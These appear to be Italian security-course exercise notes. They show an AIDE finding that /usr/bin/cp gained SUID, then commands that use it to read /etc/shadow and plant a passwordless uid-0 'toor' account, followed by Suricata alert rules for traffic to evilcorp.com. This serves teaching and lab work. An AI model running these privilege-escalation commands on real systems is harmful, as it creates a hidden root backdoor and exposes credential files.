• Dall'ouput di aide si evince che l'eseguibile ha modificato i permessi del binario /usr/bin/cp, settando il SUID a 1

Fase 2:

```
cp /etc/passwd ~/p
cp /etc/shadow ~/s
cat ~/p > ~/passwd
cat ~/s > ~/shadow
echo "toor:x:0:0::/root:/bin/bash" >> ~/passwd
echo "toor::19509:0:99999:7:::" >> ~/shadow
cp ~/passwd /etc/passwd
cp ~/shadow /etc/shadow
```

N.B. questo procedimento non richiede di inserire alcuna password per autenticarsi come toor

4.2 Suricata - richiesta a uno specifico sito - Esercizio 10 febbraio 2023

Scrivere una (o più) regola suricata in modalità alert per qualsiasi richiesta a evilcorp.com. Nota bene NON è possibile utilizzare il protocollo http o la porta 80 per creare questa regola.

```
alert dns any any -> any any (msg:"DNS query for evilcorp.com"; dns_query;
content:"evilcorp.com"; sid:100002; rev:1;)
alert ip any any -> evilcorp.com any (msg:"Request for evilcorp.com";
sid:100003; rev:1;)
```